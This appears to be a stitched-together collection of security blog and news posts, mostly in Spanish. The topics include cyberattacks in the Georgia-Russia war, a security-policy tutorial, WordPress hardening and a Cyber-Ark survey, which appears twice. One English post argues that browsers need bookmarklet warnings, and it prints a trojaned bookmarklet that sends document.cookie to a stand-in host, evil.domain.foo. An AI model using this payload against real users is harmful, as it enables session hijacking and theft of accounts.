El conflicto entre Georgia y Rusia sobre el territorio escindido de Osetia del Sur fue acompañado de ciber-ataques sobre varios sitios de medios del gobierno georgiano e independientes. Pero más que impedir a los periodistas de utilizar internet para informar sobre la guerra, se consiguió lo contrario. Muchos georgianos -profesionales de los medios y periodistas ciudadanos también- utilizaron los blogs para informar o comentar sobre el conflicto.

El Editor Regional para el Cáucaso de Global Voices Online, Onnik Krikorian, habló con Giga Paitchadze, un veterano bloguero local. también conocido como Dv0rsky. El Instituto de Nuevos Medios, de Paitchadze, organizó recientemente el BarCamp del Cáucaso en la capital georgiana, Tiflis.

Seguir leyendo

Pues bien; en el transcurso de la última convención HOPE (Hackers on Planet Earth, patrocinada por la mítica 2600 Magazine), Adam Savage (copresentador de programa) hizo las delicias del público asistente cuando fue interrogado acerca de si el programa había preparado algún capítulo dedicado a poner a prueba la tecnología RFID y qué había ocurrido con él.

Savage afirma que el episodio sobre RFID murió antes de nacer debido a las presiones ejercidas por ejecutivos de VISA, American Express y la propia Discovery. "Aún siento escalofríos al recordar aquella reunión", afirmó Savage.

Paradójicamente, y en la misma línea "molaware" que afectó a la última Black Hat, los propios asistentes a HOPE también fueron monitorizados mediante tarjetas RFID...

En la investigación, realizada por una brigada del FBI conocida como SAFE (Sexual Assault Felony Enforcement) en conjunto con otras entidades norteamericanas, se utilizaron "sofisticadas aplicaciones computacionales" para identificar pornografía infantil en directorios compartidos de programas de descargas P2P tales como Limewire, Ares, eMule, etc. Hasta ahora, los investigadores habían utilizado software de reconocimiento de patrones, similares a los escáners antivirus para buscar rápidamente imágenes y archivos en los grupos de Usenet (una red de IRC) que coincidan con este tipo de material.

De acuerdo a las palabras del oficial Thomas O'Brien "los criminales utilizan la tecnología para realizar sus crímenes, ya sea...

robo de identidad, estafas por internet o pornografía infantil, y por lo mismo siempre se están desarrollando nuevas tecnologías que permitan rastrear este tipo de situaciones".

Lo novedoso de este sistema es que hasta ahora la captura de los pedófilos se basaba en el rastreo de elementos identificatorios (como dirección IP, navegador, sistema operativo, etc) recogidos de sitios webs donde se podía acceder a contenido de pedofilia, sin embargo las redes P2P no ofrecían el mismo tipo de detalles lo cual hacía dificultuoso rastrear a personas que descargaban material ilícito.

Por otro lado, han habido dos casos donde los oficiales arrestaron a personas equivocadas lo cual originó rápidamente un llamado a una mejor preparación de los investigadores de esta materia.

Especial de Apokalyptica79 para Segu-Info

1. Introducción a las Políticas de Seguridad
2. La necesidad de definir políticas de seguridad

Al ser un tema muy amplio traté de poner algunos puntos específicos y desarrollarlos de una manera que sean entendibles y comprensibles.

El post anterior hacía referencia a La necesidad de definir políticas de seguridad una vez que entendimos la importancia de las políticas de seguridad llegó la hora de elaborarlas.

Pero para poder llevarlo a cabo debemos determinar cuan segura o insegura, que funcionalidades va a ofrecer y cuan fácil va a ser de utilizar la red. No podremos tomar buenas decisiones sobre seguridad sin primero determinar los cuales son los objetivos de nuestra política, tampoco podremos hacer uso de herramientas específicas porque no sabremos que chequear y que restricciones imponer.

Éstos puntos pueden ser muy útiles a la hora de la elaboración de las políticas:

• Servicios Ofrecidos vs Servicios Proveídos.
• Cada servicio ofrecido al usuario trae consigo un riesgo de seguridad.
• Para algunos servicios el riesgo supera el beneficio del servicio y el administrador puede elegir eliminar el servicio en lugar de tratar de asegurarlo.

Fácil de usar vs Seguridad:

El sistema más fácil de usar sería aquel que permita el acceso a cualquier usuario sin requerir password, eso quiere decir que no habría seguridad.

Requerir password hace que el sistema sea menos práctico, pero más seguro. Requerir de un dispositivo generador de contraseñas únicos hace el sistema un poco más difícil de usar, pero mucho más seguro.

Costo de Seguridad vs Riesgo de Pérdidas:

Hay diferentes costos de seguridad: monetarios (ej: el costo de comprar hardware de seguridad y software como firewall y generadores de passwords), performance (ej: la encriptación y desencriptación lleva tiempo), y fáciles de usar como se mencionó anteriormente. También hay algunos niveles de riesgo: pérdida de la privacidad (ej: la lectura de información por individuos no autorizados), pérdida de datos (ej: la corrupción o eliminación de la información), y la pérdida del servicio (ej: llenar de datos los dispositivos de almacenamiento, denegar los accesos a la red de trabajo).

Cada tipo de costo debe ser ponderado contra cada tipo de pérdida.
No está de más recordar que los objetivos o metas deben ser comunicados a todos los usuarios, miembros de staffs, y administradores a través de un set de reglas de seguridad, llamado “política de seguridad”.

Quienes deben estar involucrados a la hora de elaborar las políticas de seguridad?:

Para que una política de seguridad sea apropiada y efectiva, necesita tener la aceptación y el apoyo de todos los niveles de trabajadores en conjunción con la empresa.

La siguiente es una lista de las personas que deberían de participar en la elaboración de dicho documento:

• Administrador de Sistema del lugar.
• Staff del Data Center.
• Administradores de Áreas en General.
• Equipo responsable de Incidentes de Sistemas.
• Representantes de Grupos de Usuarios afectados por las Políticas de Seguridad.
• Administrador Responsable.
• Consejeros Legales.

Es necesario hacer énfasis en que el apoyo por parte de la gente con el poder de decisión, tales como cuerpo directivo, gerentes, dueños de empresas, ya que sin su apoyo sería imposible contar con un esquema de seguridad verdaderamente exitoso.

Esta lista solo trata de brindar la información necesaria del personal a tener en cuenta en este proceso. Se la puede adaptar teniendo en cuenta la estructura de nuestra organización, los distintos departamentos que la conforman y los responsables de las mismas.

Una vez definido y decidida la política de seguridad a seguir, deberemos encontrar la manera de conseguir un equilibrio entre “seguridad, conveniencia y disponibilidad”. Contestar una serie de preguntas nos ayudará a encontrar éste equilibrio tan necesario e importante:

• Quién debe tener acceso?
• Quién debe tener acceso físico? Los sistemas se encuentran cerrados o de libre acceso?
• Cuándo se debe tener acceso? Se los permite tener acceso en cualquier horario tanto dentro del comercial como fuera del mismo? Todos los días laborales y no laborales?
• De qué clase de acceso se debe disponer? Es necesario que todos tengan acceso a internet o sólo a ciertos dispositivos que conforman la red, tales como impresora?
• Qué servicios se deben usar? Debe alguno acceder a ftp? Qué ocurre con servicios como telnet, finger, etc?
• Qué clase de programas se deben ejecutar?
• Con que otras computadoras de la red se van a conectar? Cuántos servidores deben ver? El servidor web? Qué sucede con la contabilidad y las nóminas?
• De cuánto espacio van a disponer los usuarios dentro del sistema de archivos?
• De cuánto espacio del kernel disponen los usuarios?
• Qué tipo de restricciones se deben implantar al uso de contraseñas? Una longitud mínima? Cambio de contraseñas semanales? Mensuales tal vez?
• Qué tipo de ataques son posibles? Es necesario que los usuarios accedan desde el exterior a través del firewall?
• Qué tipo de ataques son más probables? Se ha despedido de forma reciente personal con conocimiento del sistema? Se han producido recientemente intentos que hayan tenido éxito?
• De cuánto tiempo se dispone para recuperarse después de un ataque? Es posible tomarse una semana de baja? Un día? Una hora?
• Cuál será el costo? Considerar la base hora/trabajador, para volver al correcto funcionamiento.
• Qué valor deben tener los datos protegidos para alguien de afuera? Son secretos corporativos? Información financiera? Lista de clientes?
• Qué daño pueden causar a la reputación de la empresa la publicación de la intrusión? Qué ocurre si se trata de una institución financiera y se ven comprometidos los datos personales o expedientes de los clientes?

Qué hace a una buena política de seguridad?:

Algunas características de de una buena política de seguridad son las siguientes:

• Debe ser implementado a través de procesos de sistemas de administración, posters, folletos o algún otro medio apropiado.
• Deben ser ejecutadas con herramientas de seguridad.
• Debe definir claramente las áreas de responsabilidad de los usuarios, administradores y gerente.

A la hora de elaborar estas políticas, es factible que dividir el trabajo en varias políticas diferentes y específicas a un campo, tales como: cuentas, email, passwords, entre otros. Ésto nos dará la posibilidad de tratar distintas áreas con mayor detenimiento, tratando así de eliminar puntos o vulnerabilidades sin cubrir.

Algo muy importante a tener en cuenta cuando estamos en la realización de las políticas es que debemos pensar en ella será aplicada constantemente por todos los integrantes de la organización y es por eso mismo que hay que dotarla de cierta flexibilidad.

Manteniendo nuestra Política Flexible:

Para que nuestra política de seguridad sea viable y perdure por mucho tiempo, es necesario que posea de mucha flexibilidad basada en el concepto de arquitectura de seguridad. La política de seguridad debe ser independiente de un hardware específico y de un conjunto determinado de software. Los mecanismos para la actualización y/o modificación de las políticas deben estar claramente establecidos. Ésto incluye procesos, personas involucradas, y las personas que deben firmar los cambios. También es importante reconocer que hay excepciones a cada regla. Cuando sea necesario se debe dar a conocer cuales son esas excepciones. Por ejemplo, en que casos o condiciones un administrador de sistemas tiene permiso para acceder a los archivos de los usuarios. Es éste tema muy importante a tener en cuenta.

Considero que con toda esta información es bastante por hoy. Hasta la próxima…

Fuentes:

1. Information Resource Guide (Computer, Internet and Network Systems Security)
2. Políticas de Seguridad Computacional (Donado, Agredo Méndez y Carrascal Reyes)

Apokalyptica79

I am heavily frustrated from the way the Web works today. Everything seems to be broken beyond reason. I really want to fix the damn thing but I realize that it is not up to me to do that. It is up to all of us to make sure that code is written in the most secure possible way. Can we do that? Perhaps not! What can we do then?

Before I get to the point, I need to tell you how I fixed my insecure Wordpress blog. Wordpress has many security shortcomings and I was so frustrated that I decided to fix whatever I can once and for all. I believe that we can fix the Web in a similar way, but first these are all the patches that were implemented:

1. mark all cookies as secure to prevent leakage over unencrypted channels
2. mark all cookies as httpOnly to prevent session hijacks due to Cross-site Scripting vulnerabilities
3. if you try to login, force SSL to prevent leakage of credentials
4. when logged in, make sure that all URLs are HTTPS enabled to prevent leakage of sensitive information
5. when over HTTPS make sure that all URLs that point to your domain start with https:// to prevent leakage of any data
6. restrict 443 (HTTPS) to blog users and admins only
7. disable error messages everywhere to prevent leakage of sensitive information
8. allow upload of only known file types such as jpg, gif and png (I will add a check for the gifar problem soon)
9. embed an IDS type of solution (PHPIDS in my case) to block known attacks
10. integrate with blogsecurify to enable continues security checks and warn the admin if a problem is found

I believe that this makes the blog a lot more secure. There still might be ways to attack it but this is all I can do in the most reasonable possible way, without completely breaking Wordpress. All of these fixes are implemented as a plugin which I will make available for free download soon.

So how can we fix the Web? I have a few ideas in mind and all of them can be implemented in a plugin. Here they are:

1. allow the user to sandbox and unsandbox applications and web resources with a single click
2. sandbox by default known applications such as GMail, Yahoo Mail, etc.
3. in the sandbox, mark all cookies as secure to prevent session leaks
4. in the sandbox, mark none-session cookies as httpOnly to prevent session hijacks due to XSS
5. make sure that while on HTTPS, all embedded resources are delivered over HTTPS as well.
6. provide the option to turn off JavaScript, JAVA, Flash, SilverLight, etc on per-sandbox basis
7. block any external requests to sandboxed applications
8. implement the PHPIDS signature matching mechanism in JavaScript
9. if the HTML structure is heavily broken, block the page to prevent some types of persistent XSS
10. record ssl signatures on trusted network and warn if signature changes while on untrusted network

I think that this type of solution will make the Web a lot more secure. It definitely wont fix it, but it will make Sidejacking attacks not easy. It will block the majority of CSRF and XSS attacks. It will provide certain mitigations against persistent XSS attacks. It will provide some mitigations against Browser exploits which employ Flash or Java technology to root the browser. It is not perfect, but it looks good enough to me.

Next stop: fixing the browser!

So we all know about cross-domain vulnerabilities that allow attackers to run code within the security context of the target domain. Typically, they are either a XSS bug on the server-side application, or a bug in the client (web browser plugin or web browser itself). Most of the times, these vulnerabilities require some type of interaction from the victim user. i.e.: being tricked to click on a link or visit a malicious page.

Now, most techies are familiar with bookmarklets. Well, what’s funny is that many users with knowledge of security - including many infosec professionals - are not aware of the security implications of running a bookmarklet.

The two most common ways to run a bookmarklet are:

• pasting the JavaScript code - which must start with a javascript: statement - in the address bar and press ENTER
• click on the bookmarklet under the ‘Bookmarks’ menu (must have been previously added)

On one hand, a bookmarklet is a piece of JavaScript that allows you to do something cool with the current webpage. On the other hand, from a security point of view, a bookmarklet is scripting code injection within the security context of the current domain/site by design.

Or put it this way: you’ve got the equivalent of a XSS vulnerability in the target site or a cross-domain vulnerability on the web browser. Except that you don’t need to discover a new vulnerability. No 0days required! So like in cross-domain vulnerabilities we can inject payloads that allow us to:

• steal cookies (session hijacking)
• scrape pages containing interesting data and submit it to the attacker’s site
• steal usernames and passwords that are autocompleted by the browser
• perform advanced phishing attacks. i.e.: by overwriting the login form’s action attribute or injecting a new fake login form
• etc …

Also, as in cross-domain vulnerabilities, there is some level of user interaction required: in this case, the attacker must trick the victim to run a bookmarklet while on the target site.

So how can we increase the chance of the victim being tricked to run a bookmarklet? Well, a nice trick is to use a fun and flashy bookmarklet, such as one that reads the images of the current page and creates an animation with them. You could of course write the code from scratch, but we won’t do that as we’re too lazy aren’t we? Instead, we’ll trojan a publicly available (fun and flashy) bookmarklet with our malicious code. In this case, our malicious payload steals the victim’s cookie for the purpose of hijacking his/her session. Notice that the cookies would be sent to x.php which the attacker would need to host on his/her site. This PHP script sends any received data (cookie in this case) to the attacker’s email:

javascript:/*%20start%20of%20evil%20code*/(function(){c=document.createElement("img");c.src="http://evil.domain.foo/x.php?"+document.cookie;c.width=0;c.height=0;document.body.appendChild(c)})();/*end%20of%20evil%20code%20*/window.scrollTo(0,%200);%20R=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;%20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsByTagName('img');%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i++){DIS=DI[%20i%20].style;%20DIS.position='absolute';%20DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+'px';%20DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+'px'}R++}setInterval('A()',5);%20void(0);

Notice the malicious payload is within JS comments. There is nothing special about the evil code. It simply creates an image tag which results in the victim’s cookie being sent to a third-party site in the background. The non-malicious payload will also execute, which results in the images of the current page moving around the screen. It’s quite neat, as the user won’t notice anything suspicious actually happened. Needless to say, you need to replace evil.domain.foo with the site hosting the x.php script.

You can picture this kind of attack actually happening in sites where there are cross-user functionalities. i.e.: social networking sites such as Facebook, MySpace and so on …

Thinking about the dangers of running a bookmarklet brings us to the next question:

Why in the world do browsers NOT show a warning before running a bookmarklet?

After all, browsers do display warnings for other potentially dangerous actions such as:

• visiting a site with an invalid SSL certificate
• clicking on a form that submits data in clear

I do understand that it would be annoying to warn users every time they run a bookmarklet, but I think it would be sensible to show a warning at least the first time a given bookmarklet is executed. If you work for a popular web browser vendor such as Microsoft or Mozilla, you can think of this as my wish for the day! I’d love to hear your feedback if you are reading this!

Un problema con el que siempre estamos luchando es saber hasta qué punto nuestros correos son 100% confiables. Esto no significa solamente que los correos electrónicos que nos envíen sean seguros sino también que la información que enviamos a través de un e-mail llegue a su destino sin que nadie, excepto su destinatario, lo vea.

Para sacarnos este peso de encima es que está eCipher, una aplicación que a través de un sistema cifrado nos va a asegurar a confidencialidad de todos los correos que enviemos, tanto los que tienen que ver con el ámbito laboral como los personales que mandamos a nuestros amigos o familiares.

Lo que hace es manejar las claves que se necesitan para cifrar y descifrar el texto del cuerpo del mensaje del mail o algún archivo adjunto que hayamos enviado. Simplemente eso para asegurarnos de que nadie más podrá leer, copiar o imprimir el contenido del mensaje. Y para poder demostrar que es confiable, trabaja con los algoritmos que son utilizados por la Agencia de Seguridad Nacional de los EEUU.

Esta herramienta que pesa 63 KB se puede descargar en forma gratuita directamente desde la página de eCipher, y allí también hay una opción -que es la profesional- por la que hay que abonar una licencia y tiene algunos elementos más que la versión gratis.

Se pueden encriptar los correos de las cuentas comom Microsof Outlook, Gmail, Hotmail y Yahoo, entre otros. Eso sí, está en inglés y se puede utilizar teniendo instalado el sistema operativo Windows XP, el 2000 o el Vista.

Según un estudio titulado Trust, Security & Passwords realizado entre unos 300 profesionales de seguridad informática por una empresa de seguridad llamada Cyber-Ark, resulta que…

• El 88 por ciento de los responsables de informática se llevarían información valiosa y sensible, como las contraseñas de los directivos, las bases de datos de clientes, datos financieros y todas las contraseñas que pudieran, si fueran despedidos mañana mismo.
• Un tercio de las empresas creen que el espionaje industrial y el robo de datos es rampante, incluyendo información que llega a competidores o criminales vía correo, llaves USB, iPods, Blackberrys y similares.
• Una cuarta parte admite que sufren sabotajes internos, un dato sobre cuan comunes son los problemas de seguridad en las empresas.
• El 35 por ciento envía información confidencial por correo y otro 35 por ciento por mensajero, con un asombroso 4 por ciento que la envía por correo postal.
• Los tercio de los administradores guardan sus contraseñas más poderosas en… notas Post-it (la vida real supera a Dilbert y a IT-Crowd).
• Una tercera parte admite cotillear los datos de la red en busca de información confidencial: correos personales, informes y otro tipo de información personal.

¡Que no cunda el pánico! No todas las empresas funcionan igual de mal, ni en todos sitios los administradores de sistemas son tan criminales, pero nunca está de más asegurarse que lo que es realmente importante o personal está a buen recaudo. Además, el informe proviene de una empresa que además vende consultoría y servicios sobre seguridad, así que hay que valorarlo en función de eso, pues obviamente dista de ser independiente.

En cualquier caso, este recordatorio a modo de ¿Quién vigila a los vigilantes? sirve para no olvidar aquello de que los sistemas de seguridad están muy bien y pueden ser fiables, muy fiables o super fiables, pero el factor humano suele ser lo que falla cuando hay grandes desastres como los que describe el informe.

Según un estudio titulado Trust, Security & Passwords realizado entre unos 300 profesionales de seguridad informática por una empresa de seguridad llamada Cyber-Ark, resulta que…

• El 88 por ciento de los responsables de informática se llevarían información valiosa y sensible, como las contraseñas de los directivos, las bases de datos de clientes, datos financieros y todas las contraseñas que pudieran, si fueran despedidos mañana mismo.
• Un tercio de las empresas creen que el espionaje industrial y el robo de datos es rampante, incluyendo información que llega a competidores o criminales vía correo, llaves USB, iPods, Blackberrys y similares.
• Una cuarta parte admite que sufren sabotajes internos, un dato sobre cuan comunes son los problemas de seguridad en las empresas.
• El 35 por ciento envía información confidencial por correo y otro 35 por ciento por mensajero, con un asombroso 4 por ciento que la envía por correo postal.
• Los tercio de los administradores guardan sus contraseñas más poderosas en… notas Post-it (la vida real supera a Dilbert y a IT-Crowd).
• Una tercera parte admite cotillear los datos de la red en busca de información confidencial: correos personales, informes y otro tipo de información personal.

¡Que no cunda el pánico! No todas las empresas funcionan igual de mal, ni en todos sitios los administradores de sistemas son tan criminales, pero nunca está de más asegurarse que lo que es realmente importante o personal está a buen recaudo. Además, el informe proviene de una empresa que además vende consultoría y servicios sobre seguridad, así que hay que valorarlo en función de eso, pues obviamente dista de ser independiente.

En cualquier caso, este recordatorio a modo de ¿Quién vigila a los vigilantes? sirve para no olvidar aquello de que los sistemas de seguridad están muy bien y pueden ser fiables, muy fiables o super fiables, pero el factor humano suele ser lo que falla cuando hay grandes desastres como los que describe el informe.